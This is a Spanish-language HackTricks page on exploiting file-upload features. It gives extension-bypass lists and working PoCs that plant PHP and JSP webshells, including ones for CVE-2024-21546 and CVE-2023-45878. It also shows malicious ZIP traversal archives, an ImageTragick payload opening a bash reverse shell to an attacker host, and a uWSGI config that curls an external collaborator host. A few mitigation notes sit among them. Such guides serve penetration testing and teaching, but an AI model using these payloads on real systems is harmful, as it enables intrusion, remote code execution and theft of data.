Subida de archivos
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Metodología general para subida de archivos
Otras extensiones útiles:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
Evadir comprobaciones de extensiones de archivos
- Si aplican, comprueba las extensiones anteriores. También pruébalas usando algunas mayúsculas: pHp, .pHP5, .PhAr …
- Comprueba añadir una extensión válida antes de la extensión ejecutable (usa las extensiones anteriores también):
- file.png.php
- file.png.Php5
- Intenta añadir caracteres especiales al final. Puedes usar Burp para bruteforcear todos los caracteres ascii y Unicode. (Ten en cuenta que también puedes probar a usar las extensiones mencionadas anteriormente)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php….
- file.pHp5….
- Intenta eludir las protecciones engañando al parser de extensiones del servidor con técnicas como duplicar la extensión o añadir datos basura (bytes nulos) entre extensiones. También puedes usar las extensiones anteriores para preparar un payload más efectivo.
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- Añade otra capa de extensiones a la comprobación anterior:
- file.png.jpg.php
- file.php%00.png%00.jpg
- Intenta poner la extensión ejecutable antes de la extensión válida y reza para que el servidor esté mal configurado. (útil para explotar misconfiguraciones de Apache donde cualquier cosa con extensión .php, pero no necesariamente terminando en .php, ejecutará código):
- ex: file.php.png
- Uso de NTFS alternate data stream (ADS) en Windows. En este caso, se insertará un carácter de dos puntos “:” después de una extensión prohibida y antes de una permitida. Como resultado, se creará un archivo vacío con la extensión prohibida en el servidor (p. ej. “file.asax:.jpg”). Este archivo podría ser editado más tarde usando otras técnicas como su short filename. El patrón “::$data” también puede usarse para crear archivos no vacíos. Por lo tanto, añadir un punto después de este patrón también podría ser útil para eludir restricciones adicionales (p. ej. “file.asp::$data.”)
- Intenta romper los límites de longitud del nombre de archivo. La extensión válida queda truncada. Y el PHP malicioso queda al final. AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
Algunos manejadores de upload recortan o normalizan los caracteres de punto final del nombre de archivo guardado. En UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) en versiones anteriores a 2.9.1, puedes evadir la validación de extensiones:
- Usar un MIME de imagen válido y magic header (por ejemplo, el
\x89PNG\r\n\x1a\nde PNG). - Nombrar el archivo subido con una extensión PHP seguida de un punto, p. ej.,
shell.php.. - El servidor elimina el punto final y persiste
shell.php, que se ejecutará si se coloca en un directorio servido por la web (almacenamiento público por defecto como/storage/files/).
PoC mínimo (Burp Repeater):
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
Luego accede a la ruta guardada (típico en Laravel + LFM):
GET /storage/files/0xdf.php?cmd=id
Bypass Content-Type, Magic Number, Compression & Resizing
- Bypass Content-Type checks by setting the value of the Content-Type header to: image/png , text/plain , application/octet-stream
- Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- Evita la comprobación de magic number añadiendo al principio del archivo los bytes de una imagen real (confundir al comando file). O introduce el shell dentro de los metadata:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg\o también podrías introducir la carga útil directamente en una imagen:echo '<?php system($_REQUEST['cmd']); ?>' >> img.png - Si se está añadiendo compresión a tu imagen, por ejemplo usando algunas librerías estándar de PHP como PHP-GD, las técnicas anteriores no serán útiles. Sin embargo, puedes usar el PLTE chunk técnica definida aquí para insertar texto que sobrevivirá a la compresión.
- Github with the code
- La página web también podría estar redimensionando la imagen, usando por ejemplo las funciones de PHP-GD
imagecopyresizedoimagecopyresampled. Sin embargo, puedes usar el IDAT chunk técnica definida aquí para insertar texto que sobrevivirá a la compresión. - Github with the code
- Otra técnica para crear una payload que sobrevive al redimensionado de la imagen, usando la función PHP-GD
thumbnailImage. Sin embargo, puedes usar el tEXt chunk técnica definida aquí para insertar texto que sobrevivirá a la compresión. - Github with the code
Other Tricks to check
- Encuentra una vulnerabilidad para renombrar el archivo ya subido (para cambiar la extensión).
- Encuentra una vulnerabilidad de Local File Inclusion para ejecutar el backdoor.
- Posible disclosure de información:
- Subir varias veces (y al mismo tiempo) el mismo archivo con el mismo nombre
- Subir un archivo con el nombre de un archivo o carpeta que ya exista
- Subir un archivo con “.” , “..”, o “…” como nombre. Por ejemplo, en Apache en Windows, si la aplicación guarda los archivos subidos en el directorio “/www/uploads/”, el nombre de archivo “.” creará un archivo llamado uploads” en el directorio “/www/”.
- Subir un archivo que no pueda borrarse fácilmente, como “…:.jpg” en NTFS. (Windows)
- Subir un archivo en Windows con caracteres inválidos como
|<>*?”en su nombre. (Windows) - Subir un archivo en Windows usando nombres reservados (prohibidos) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Intenta también subir un ejecutable (.exe) o un .html (menos sospechoso) que ejecute código cuando lo abra accidentalmente la víctima.
Special extension tricks
Si estás intentando subir archivos a un PHP server, echa un vistazo al truco de .htaccess para ejecutar código.
Si estás intentando subir archivos a un ASP server, mira el truco de .config para ejecutar código.
Los archivos .phar son como los .jar para java, pero para php, y pueden usarse como un archivo php (ejecutándolo con php, o incluyéndolo dentro de un script…)
La extensión .inc a veces se usa para archivos php que solo se usan para importar archivos, por lo que, en algún punto, alguien podría haber permitido que esta extensión se ejecute.
Jetty RCE
Si puedes subir un archivo XML a un servidor Jetty puedes obtener RCE porque **new .xml and .war are automatically processed. Entonces, como se menciona en la imagen siguiente, sube el archivo XML a $JETTY_BASE/webapps/ y ¡espera el shell!
.png)
uWSGI RCE
Para una exploración detallada de esta vulnerabilidad consulta la investigación original: uWSGI RCE Exploitation.
Las vulnerabilidades de Remote Command Execution (RCE) pueden explotarse en servidores uWSGI si se tiene la capacidad de modificar el archivo de configuración .ini. Los archivos de configuración de uWSGI usan una sintaxis específica para incorporar variables “mágicas”, placeholders y operadores. En particular, el operador ‘@’, utilizado como @(filename), está diseñado para incluir el contenido de un archivo. Entre los distintos esquemas soportados en uWSGI, el esquema “exec” es especialmente potente, permitiendo la lectura de datos desde la salida estándar de un proceso. Esta característica puede manipularse para fines maliciosos como Remote Command Execution o Arbitrary File Write/Read cuando se procesa un archivo de configuración .ini.
Considera el siguiente ejemplo de un archivo uwsgi.ini malicioso:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
La ejecución del payload ocurre durante el parseo del archivo de configuración. Para que la configuración se active y sea parseada, el proceso uWSGI debe reiniciarse (potencialmente tras un crash o debido a un Denial of Service) o el archivo debe estar configurado para auto-reload. La función de auto-reload, si está habilitada, recarga el archivo a intervalos especificados al detectar cambios.
Es crucial entender la naturaleza permisiva del parseo del archivo de configuración de uWSGI. Específicamente, el payload mencionado puede insertarse dentro de un archivo binario (como una imagen o PDF), ampliando aún más el alcance de la posible explotación.
Gibbon LMS escritura arbitraria de archivos que lleva a pre-auth RCE (CVE-2023-45878)
Un endpoint no autenticado en Gibbon LMS permite la escritura arbitraria de archivos dentro del web root, conduciendo a pre-auth RCE al dejar caer un archivo PHP. Versiones vulnerables: hasta e incluyendo 25.0.01.
- Endpoint:
/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php - Method: POST
- Required params:
img: data-URI-like string:[mime];[name],[base64](el servidor ignora type/name, decodifica en base64 la parte final)path: destination filename relative to Gibbon install dir (e.g.,poc.phpor0xdf.php)gibbonPersonID: any non-empty value is accepted (e.g.,0000000001)
Minimal PoC to write and read back a file:
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
Subir un webshell mínimo y ejecutar comandos:
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
Notas:
- El handler ejecuta
base64_decode($_POST["img"])después de dividir por;y,, luego escribe los bytes en$absolutePath . '/' . $_POST['path']sin validar la extensión/tipo. - El código resultante se ejecuta como el usuario del servicio web (p. ej., XAMPP Apache en Windows).
Las referencias para este bug incluyen el advisory de usd HeroLab y la entrada en NVD. Véase la sección References más abajo.
wget File Upload/SSRF Trick
En algunas ocasiones puedes encontrar que un servidor está usando wget para descargar archivos y puedes indicar la URL. En esos casos, el código puede estar comprobando que la extensión de los archivos descargados esté dentro de una whitelist para asegurar que solo se van a descargar archivos permitidos. Sin embargo, esta comprobación puede ser eludida.
La longitud máxima de un nombre de archivo en linux es 255, sin embargo, wget trunca los nombres de archivo a 236 caracteres. You can download a file called “A”*232+“.php”+“.gif”, este nombre de archivo eludirá la comprobación (como en este ejemplo “.gif” es una extensión válida) pero wget will rename the file to “A”*232+“.php”.
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Ten en cuenta que otra opción que podrías estar considerando para eludir esta verificación es hacer que el HTTP server redirija a un archivo diferente, de modo que la URL inicial pase la comprobación pero luego wget descargará el archivo redirigido con el nuevo nombre. Esto no funcionará a menos que wget se use con el parámetro --trust-server-names porque wget descargará la página redirigida con el nombre del archivo indicado en la URL original.
Escapar del upload directory vía NTFS junctions (Windows)
(Para este ataque necesitarás acceso local a la máquina Windows) Cuando los uploads se almacenan en subcarpetas por usuario en Windows (por ejemplo, C:\Windows\Tasks\Uploads<id>) y controlas la creación/eliminación de esa subcarpeta, puedes reemplazarla por una directory junction que apunte a una ubicación sensible (por ejemplo, el webroot). Los uploads posteriores se escribirán en la ruta objetivo, permitiendo ejecución de código si el objetivo interpreta código del lado del servidor.
Example flow to redirect uploads into XAMPP webroot:
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
:: Minimal PHP webshell for testing
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"
Notas
- mklink /J crea una junction de directorio NTFS (reparse point). La cuenta del servidor web debe seguir la junction y tener permiso de escritura en el destino.
- Esto redirige escrituras de archivos arbitrarios; si el destino ejecuta scripts (PHP/ASP), esto se convierte en RCE.
- Defensas: no permitas que las raíces de upload escribibles sean controlables por un atacante bajo C:\Windows\Tasks o similar; bloquea la creación de junctions; valida extensiones server‑side; almacena las subidas en un volumen separado o con ACLs de deny‑execute.
GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)
Algunos upload/ingest handlers escriben el raw request body en una ruta del filesystem que se construye a partir de parámetros de query controlados por el usuario. Si el handler también soporta Content-Encoding: gzip y no canonicaliza/valida la ruta de destino, puedes combinar path traversal con un payload gzipped para escribir bytes arbitrarios en un directorio servido por la web y obtener RCE (p. ej., dejar un JSP bajo Tomcat’s webapps).
Flujo genérico de explotación:
- Prepara tu server-side payload (p. ej., un JSP webshell mínimo) y gzip-comprime los bytes.
- Envía un POST donde un parámetro de ruta (p. ej., token) contenga path traversal que escape la carpeta prevista, y file indique el nombre de archivo a persistir. Establece Content-Type: application/octet-stream y Content-Encoding: gzip; el body es el payload comprimido.
- Accede al archivo escrito para desencadenar la ejecución.
Solicitud ilustrativa:
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>
<gzip-compressed-bytes-of-your-jsp>
Luego, activa:
GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target
Notas
- Las rutas objetivo varían según la instalación (por ejemplo, /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ en algunas stacks). Cualquier carpeta expuesta por la web que ejecute JSP funcionará.
- La extensión Hackvertor de Burp Suite puede producir un cuerpo gzip correcto a partir de tu payload.
- Este es un patrón puro pre-auth arbitrary file write → RCE; no depende del multipart parsing.
Mitigaciones
- Derivar los destinos de upload en el servidor; nunca confiar en fragmentos de ruta provenientes de clientes.
- Canonicalizar y hacer cumplir que la ruta resuelta permanezca dentro de un directorio base allow-listed.
- Almacenar las subidas en un volumen no ejecutable y denegar la ejecución de scripts desde rutas escribibles.
Tools
- Upload Bypass es una herramienta potente diseñada para ayudar a Pentesters y Bug Hunters a probar mecanismos de subida de archivos. Aprovecha varias técnicas de bug bounty para simplificar el proceso de identificar y explotar vulnerabilidades, asegurando evaluaciones exhaustivas de aplicaciones web.
Corrupting upload indices with snprintf quirks (historical)
Algunos handlers de upload legacy que usan snprintf() o similar para construir arrays multi-file a partir de una single-file upload pueden ser engañados para forjar la estructura _FILES. Debido a inconsistencias y truncamiento en el comportamiento de snprintf(), una única subida cuidadosamente construida puede aparecer como múltiples archivos indexados en el lado servidor, confundiendo la lógica que asume una forma estricta (por ejemplo, tratándola como una subida multi-file y tomando ramas inseguras). Aunque hoy en día es algo niche, este patrón de “index corruption” ocasionalmente resurge en CTFs y bases de código antiguas.
From File upload to other vulnerabilities
- Set filename to
../../../tmp/lol.pngand try to achieve a path traversal - Set filename to
sleep(10)-- -.jpgand you may be able to achieve a SQL injection - Set filename to
<svg onload=alert(document.domain)>to achieve a XSS - Set filename to
; sleep 10;to test some command injection (more command injections tricks here) - XSS in image (svg) file upload
- JS file upload + XSS = Service Workers exploitation
- XXE in svg upload
- Open Redirect via uploading svg file
- Try different svg payloads from https://github.com/allanlw/svg-cheatsheet
- Famous ImageTrick vulnerability
- If you can indicate the web server to catch an image from a URL you could try to abuse a SSRF. If this image is going to be saved in some public site, you could also indicate a URL from https://iplogger.org/invisible/ and steal information of every visitor.
- XXE and CORS bypass with PDF-Adobe upload
- Specially crafted PDFs to XSS: The following page present how to inject PDF data to obtain JS execution. If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Subir el [eicar](https://secure.eicar.org/eicar.com.txt) contenido para comprobar si el servidor tiene algún antivirus
- Comprueba si hay algún límite de tamaño al subir archivos
Aquí tienes una lista top 10 de cosas que puedes lograr subiendo archivos (from here):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Open redirect
- PNG / JPEG: Pixel flood attack (DoS)
- ZIP: RCE via LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Burp Extension
GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy
Magic Header Bytes
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03[" - JPG:
"\xff\xd8\xff"
Refer to https://en.wikipedia.org/wiki/List_of_file_signatures for other filetypes.
Zip/Tar File Automatically decompressed Upload
Si puedes subir un ZIP que vaya a ser descomprimido dentro del servidor, puedes hacer 2 cosas:
Symlink
Sube un archivo que contenga enlaces simbólicos a otros archivos; al acceder a los archivos descomprimidos accederás a los archivos enlazados:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
Descomprimir en diferentes carpetas
La creación inesperada de archivos en directorios durante la descompresión es un problema importante. A pesar de la suposición inicial de que esta configuración podría proteger contra la ejecución de comandos a nivel de OS mediante uploads de archivos maliciosos, el soporte de compresión jerárquica y las capacidades de directory traversal del formato de archivo ZIP pueden ser explotadas. Esto permite a los atacantes evadir restricciones y escapar de directorios de upload seguros manipulando la funcionalidad de descompresión de la aplicación objetivo.
Un exploit automatizado para crear dichos archivos está disponible en evilarc on GitHub. La utilidad puede usarse como se muestra:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
Además, la symlink trick with evilarc es una opción. Si el objetivo es apuntar a un archivo como /flag.txt, debes crear un symlink a ese archivo en tu sistema. Esto asegura que evilarc no encuentre errores durante su operación.
A continuación se muestra un ejemplo de código Python usado para crear un archivo zip malicioso:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
Abusar de la compresión para file spraying
Para más detalles consulta la entrada original en: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Creación de un PHP Shell: Se escribe código PHP para ejecutar comandos pasados a través de la variable
$_REQUEST.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- File Spraying y creación de archivos comprimidos: Se crean múltiples archivos y se genera un ZIP que contiene esos archivos.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Modificación con un editor hexadecimal o vi: Se modifican los nombres de los archivos dentro del zip usando vi o un editor hexadecimal, cambiando “xxA” por “../” para atravesar directorios.
:set modifiable
:%s/xxA/../g
:x!
ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)
Cuando un backend valida las entradas de un ZIP usando PHP’s ZipArchive pero la extracción escribe en el sistema de ficheros usando los nombres crudos, puedes colar una extensión no permitida insertando un NUL (0x00) en los campos de nombre de archivo. ZipArchive trata el nombre de la entrada como una C‑string y lo trunca en el primer NUL; el sistema de ficheros escribe el nombre completo, descartando todo lo que sigue al NUL.
Flujo general:
- Prepara un contenedor legítimo (p. ej., un PDF válido) que incruste un pequeño PHP stub en un stream para que el magic/MIME siga siendo PDF.
- Nómbralo como
shell.php..pdf, créalo en un zip, y luego edita en hexadecimal el encabezado local y el filename del central directory del ZIP para reemplazar el primer.después de.phppor0x00, resultando enshell.php\x00.pdf. - Los validadores que dependen de ZipArchive “verán”
shell.php .pdfy lo permitirán; el extractor escribiráshell.phpen disco, llevando a RCE si la carpeta de uploads es ejecutable.
Pasos mínimos del PoC:
# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf
# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf
# 3) Hex-edit both the local header and central directory filename fields
# Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
# Tools: hexcurse, bless, bvi, wxHexEditor, etc.
# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)
Notas
- Cambia AMBAS ocurrencias del nombre de archivo (local y central directory). Algunas herramientas añaden una entrada adicional de data descriptor también – ajusta todos los campos de nombre si están presentes.
- El archivo payload debe seguir pasando server‑side magic/MIME sniffing. Incrustar el PHP en un stream de PDF mantiene el header válido.
- Funciona cuando la ruta de enum/validation y la ruta de extraction/write discrepan en el manejo de cadenas.
ZIPs apilados/concatenados (discrepancia del parser)
Concatenar dos archivos ZIP válidos produce un blob donde distintos parsers se enfocan en diferentes registros EOCD. Muchas herramientas localizan el último End Of Central Directory (EOCD), mientras que algunas librerías (p. ej., ZipArchive en flujos de trabajo específicos) pueden analizar el primer archivo que encuentran. Si la validación enumera el primer archivo y la extracción usa otra herramienta que respeta el último EOCD, un archivo benigno puede pasar las comprobaciones mientras que uno malicioso se extrae.
PoC:
# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2
# Stack them
cat zip1.zip zip2.zip > combo.zip
# Different views
unzip -l combo.zip # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'
Patrón de abuso
- Create a benign archive (allowed type, e.g., a PDF) and a second archive containing a blocked extension (e.g.,
shell.php). - Concatenate them:
cat benign.zip evil.zip > combined.zip. - If the server validates with one parser (sees benign.zip) but extracts with another (processes evil.zip), the blocked file lands in the extraction path.
ImageTragic
Sube este contenido con una extensión de imagen para explotar la vulnerabilidad (ImageMagick , 7.0.1-1) (véase el exploit)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
Incrustar PHP shell en PNG
Incrustar un PHP shell en el IDAT chunk de un archivo PNG puede eludir efectivamente ciertas operaciones de procesamiento de imágenes. Las funciones imagecopyresized y imagecopyresampled de PHP-GD son especialmente relevantes en este contexto, ya que se usan comúnmente para redimensionar y remuestrear imágenes, respectivamente. La capacidad del PHP shell incrustado para permanecer intacto frente a estas operaciones es una ventaja importante en ciertos casos de uso.
Una exploración detallada de esta técnica, incluyendo su metodología y posibles aplicaciones, se encuentra en el siguiente artículo: “Encoding Web Shells in PNG IDAT chunks”. Este recurso ofrece una comprensión completa del proceso y sus implicaciones.
Más información en: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Archivos poliglotas
Los archivos poliglotas funcionan como camaleones que pueden ser válidos en múltiples formatos de archivo simultáneamente. Un ejemplo interesante es un GIFAR, un híbrido que funciona tanto como GIF como archivo RAR. Estos archivos no se limitan a esa combinación; también son posibles combinaciones como GIF y JS o PPT y JS.
La utilidad principal de los archivos poliglotas radica en su capacidad para eludir medidas de seguridad que analizan los archivos según su tipo. Es práctica común en varias aplicaciones permitir solo ciertos tipos de archivo para upload — como JPEG, GIF o DOC — para mitigar el riesgo que suponen formatos potencialmente peligrosos (p. ej., JS, PHP o PHAR). Sin embargo, un poliglota, al ajustarse a los criterios estructurales de múltiples tipos de archivo, puede evadir estas restricciones de forma sigilosa.
A pesar de su adaptabilidad, los poliglotas encuentran limitaciones. Por ejemplo, aunque un poliglota pueda simultáneamente encarnar un PHAR file (PHp ARchive) y un JPEG, el éxito de su upload podría depender de las políticas de extensión de archivo de la plataforma. Si el sistema es estricto con las extensiones permitidas, la mera dualidad estructural puede no ser suficiente para garantizar su upload.
Más información en: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Subir JSON válidos como si fueran PDF
Cómo evitar la detección de tipo de archivo subiendo un archivo JSON válido incluso si no está permitido, falseando un PDF (técnicas de this blog post):
mmmagiclibrary: Mientras los bytes mágicos%PDFestén en los primeros 1024 bytes, es válido (ver ejemplo en el post)pdfliblibrary: Inserta un formato PDF falso dentro de un campo del JSON para que la librería piense que es un PDF (ver ejemplo en el post)filebinary: Puede leer hasta 1048576 bytes de un archivo. Simplemente crea un JSON mayor que eso para que no pueda parsear el contenido como JSON y luego, dentro del JSON, coloca la parte inicial de un PDF real y pensará que es un PDF
Confusión de Content-Type para lectura arbitraria de archivos
Algunos upload handlers confían en el cuerpo de la petición ya parseado (p. ej., context.getBodyData().files) y luego copian el archivo desde file.filepath sin forzar primero Content-Type: multipart/form-data. Si el servidor acepta application/json, puedes suministrar un objeto files falso apuntando filepath a cualquier ruta local, convirtiendo el flujo de upload en una primitiva de lectura arbitraria de archivos.
Ejemplo de POST contra un flujo de formulario que devuelve el binario subido en la respuesta HTTP:
POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json
{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}
